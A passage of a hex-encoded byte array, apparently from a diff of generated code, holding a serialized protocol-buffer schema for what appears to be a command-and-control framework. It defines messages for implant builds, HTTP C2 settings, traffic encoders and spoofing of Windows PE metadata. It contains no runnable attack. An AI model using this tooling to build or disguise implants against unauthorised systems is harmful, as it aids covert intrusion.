0x6d, 0x65, 0x44, 0x61, + 0x74, 0x65, 0x53, 0x74, 0x61, 0x6d, 0x70, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x6a, 0x6f, 0x72, + 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x4d, + 0x61, 0x6a, 0x6f, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x4d, + 0x69, 0x6e, 0x6f, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0c, 0x4d, 0x69, 0x6e, 0x6f, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x32, 0x0a, 0x14, 0x4e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x4f, 0x66, 0x4e, 0x61, 0x6d, 0x65, 0x64, + 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x14, 0x4e, + 0x75, 0x6d, 0x62, 0x65, 0x72, 0x4f, 0x66, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x45, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x4e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x4f, 0x66, 0x49, + 0x64, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, + 0x4e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x4f, 0x66, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x22, 0x58, 0x0a, 0x1e, 0x49, 0x4d, 0x41, 0x47, 0x45, 0x5f, 0x52, 0x45, 0x53, 0x4f, 0x55, + 0x52, 0x43, 0x45, 0x5f, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x4f, 0x52, 0x59, 0x5f, 0x45, 0x4e, + 0x54, 0x52, 0x59, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x66, 0x66, 0x73, 0x65, + 0x74, 0x54, 0x6f, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x4f, + 0x66, 0x66, 0x73, 0x65, 0x74, 0x54, 0x6f, 0x44, 0x61, 0x74, 0x61, 0x22, 0x8b, 0x01, 0x0a, 0x19, + 0x49, 0x4d, 0x41, 0x47, 0x45, 0x5f, 0x52, 0x45, 0x53, 0x4f, 0x55, 0x52, 0x43, 0x45, 0x5f, 0x44, + 0x41, 0x54, 0x41, 0x5f, 0x45, 0x4e, 0x54, 0x52, 0x59, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x66, 0x66, + 0x73, 0x65, 0x74, 0x54, 0x6f, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x0c, 0x4f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x54, 0x6f, 0x44, 0x61, 0x74, 0x61, 0x12, 0x12, 0x0a, + 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x53, 0x69, 0x7a, + 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x6f, 0x64, 0x65, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x08, 0x43, 0x6f, 0x64, 0x65, 0x50, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, + 0x08, 0x52, 0x65, 0x73, 0x65, 0x72, 0x76, 0x65, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x08, 0x52, 0x65, 0x73, 0x65, 0x72, 0x76, 0x65, 0x64, 0x22, 0xba, 0x03, 0x0a, 0x16, 0x49, 0x4d, + 0x41, 0x47, 0x45, 0x5f, 0x45, 0x58, 0x50, 0x4f, 0x52, 0x54, 0x5f, 0x44, 0x49, 0x52, 0x45, 0x43, + 0x54, 0x4f, 0x52, 0x59, 0x12, 0x28, 0x0a, 0x0f, 0x43, 0x68, 0x61, 0x72, 0x61, 0x63, 0x74, 0x65, + 0x72, 0x69, 0x73, 0x74, 0x69, 0x63, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x43, + 0x68, 0x61, 0x72, 0x61, 0x63, 0x74, 0x65, 0x72, 0x69, 0x73, 0x74, 0x69, 0x63, 0x73, 0x12, 0x24, + 0x0a, 0x0d, 0x54, 0x69, 0x6d, 0x65, 0x44, 0x61, 0x74, 0x65, 0x53, 0x74, 0x61, 0x6d, 0x70, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x54, 0x69, 0x6d, 0x65, 0x44, 0x61, 0x74, 0x65, 0x53, + 0x74, 0x61, 0x6d, 0x70, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x6a, 0x6f, 0x72, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x4d, 0x61, 0x6a, 0x6f, + 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x69, 0x6e, 0x6f, + 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, + 0x4d, 0x69, 0x6e, 0x6f, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x12, 0x12, 0x0a, 0x04, 0x42, 0x61, 0x73, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, + 0x42, 0x61, 0x73, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x4e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x4f, 0x66, + 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x11, 0x4e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x4f, 0x66, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x4e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x4f, 0x66, 0x4e, 0x61, + 0x6d, 0x65, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x4e, 0x75, 0x6d, 0x62, 0x65, + 0x72, 0x4f, 0x66, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x41, 0x64, 0x64, 0x72, + 0x65, 0x73, 0x73, 0x4f, 0x66, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x12, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x66, 0x46, + 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x0e, 0x41, 0x64, 0x64, 0x72, + 0x65, 0x73, 0x73, 0x4f, 0x66, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x0e, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x66, 0x4e, 0x61, 0x6d, 0x65, 0x73, + 0x12, 0x34, 0x0a, 0x15, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x66, 0x4e, 0x61, 0x6d, + 0x65, 0x4f, 0x72, 0x64, 0x69, 0x6e, 0x61, 0x6c, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x15, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x66, 0x4e, 0x61, 0x6d, 0x65, 0x4f, 0x72, + 0x64, 0x69, 0x6e, 0x61, 0x6c, 0x73, 0x22, 0xd8, 0x03, 0x0a, 0x15, 0x50, 0x45, 0x53, 0x70, 0x6f, + 0x6f, 0x66, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x12, 0x33, 0x0a, 0x06, 0x53, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x70, 0x6f, 0x6f, + 0x66, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x06, 0x53, + 0x6f, 0x75, 0x72, 0x63, 0x65, 0x12, 0x2f, 0x0a, 0x04, 0x49, 0x63, 0x6f, 0x6e, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, + 0x70, 0x6f, 0x6f, 0x66, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x46, 0x69, 0x6c, 0x65, + 0x52, 0x04, 0x49, 0x63, 0x6f, 0x6e, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, + 0x63, 0x65, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x79, 0x18, 0x0a, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x22, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4d, 0x41, + 0x47, 0x45, 0x5f, 0x52, 0x45, 0x53, 0x4f, 0x55, 0x52, 0x43, 0x45, 0x5f, 0x44, 0x49, 0x52, 0x45, + 0x43, 0x54, 0x4f, 0x52, 0x59, 0x52, 0x11, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x44, + 0x69, 0x72, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x64, 0x0a, 0x18, 0x52, 0x65, 0x73, 0x6f, + 0x75, 0x72, 0x63, 0x65, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x79, 0x45, 0x6e, 0x74, + 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4d, 0x41, 0x47, 0x45, 0x5f, 0x52, 0x45, 0x53, 0x4f, + 0x55, 0x52, 0x43, 0x45, 0x5f, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x4f, 0x52, 0x59, 0x5f, 0x45, + 0x4e, 0x54, 0x52, 0x59, 0x52, 0x18, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x44, 0x69, + 0x72, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x79, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x55, + 0x0a, 0x13, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x0c, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4d, 0x41, 0x47, 0x45, 0x5f, 0x52, 0x45, 0x53, + 0x4f, 0x55, 0x52, 0x43, 0x45, 0x5f, 0x44, 0x41, 0x54, 0x41, 0x5f, 0x45, 0x4e, 0x54, 0x52, 0x59, + 0x52, 0x13, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x4a, 0x0a, 0x0f, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x44, + 0x69, 0x72, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x20, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4d, 0x41, 0x47, 0x45, 0x5f, + 0x45, 0x58, 0x50, 0x4f, 0x52, 0x54, 0x5f, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x4f, 0x52, 0x59, + 0x52, 0x0f, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6f, 0x72, + 0x79, 0x22, 0x46, 0x0a, 0x13, 0x53, 0x70, 0x6f, 0x6f, 0x66, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, + 0x74, 0x61, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2f, 0x0a, 0x02, 0x50, 0x45, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x50, 0x45, 0x53, 0x70, 0x6f, 0x6f, 0x66, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x02, 0x50, 0x45, 0x22, 0x7a, 0x0a, 0x0e, 0x54, 0x72, 0x61, + 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, + 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x04, 0x57, + 0x61, 0x73, 0x6d, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x57, 0x61, 0x73, 0x6d, 0x12, + 0x1c, 0x0a, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x16, 0x0a, + 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x54, + 0x65, 0x73, 0x74, 0x49, 0x44, 0x22, 0xb1, 0x01, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, + 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x45, 0x0a, 0x08, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x73, 0x1a, 0x55, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2e, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa6, 0x01, 0x0a, 0x12, 0x54, 0x72, + 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, + 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, + 0x65, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x1a, 0x0a, 0x08, + 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, + 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x61, + 0x6d, 0x70, 0x6c, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x53, 0x61, 0x6d, 0x70, + 0x6c, 0x65, 0x22, 0xc3, 0x01, 0x0a, 0x13, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x32, + 0x0a, 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1c, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x52, 0x05, 0x54, 0x65, 0x73, + 0x74, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x44, 0x75, 0x72, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0d, 0x54, 0x6f, 0x74, 0x61, 0x6c, + 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x6f, 0x74, 0x61, + 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x54, 0x6f, + 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x22, 0xae, 0x02, 0x0a, 0x15, 0x45, 0x78, 0x74, + 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x12, 0x2c, 0x0a, 0x05, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x52, 0x05, 0x42, 0x75, 0x69, 0x6c, + 0x64, 0x12, 0x2e, 0x0a, 0x06, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, + 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x48, 0x54, 0x54, 0x50, 0x43, + 0x32, 0x12, 0x49, 0x0a, 0x08, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x04, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x2d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, + 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x08, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x3b, 0x0a, 0x0d, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x77, 0x0a, 0x15, 0x45, 0x78, 0x74, + 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, + 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, + 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x49, 0x44, 0x12, 0x22, + 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, + 0x6c, 0x65, 0x22, 0xbe, 0x03, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, + 0x69, 0x6c, 0x64, 0x73, 0x12, 0x3e, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x2e, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x73, 0x12, 0x4a, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, + 0x49, 0x44, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, + 0x64, 0x73, 0x2e, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x0b, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, + 0x12, 0x3b, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x67, 0x65, 0x64, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x23, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, + 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x64, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x06, 0x73, 0x74, 0x61, 0x67, 0x65, 0x64, 0x1a, 0x53, 0x0a, + 0x0c, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, + 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, + 0x38, 0x01, 0x1a, 0x54, 0x0a, 0x10, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, + 0x73, 0x45, 0x6e, 0x74, 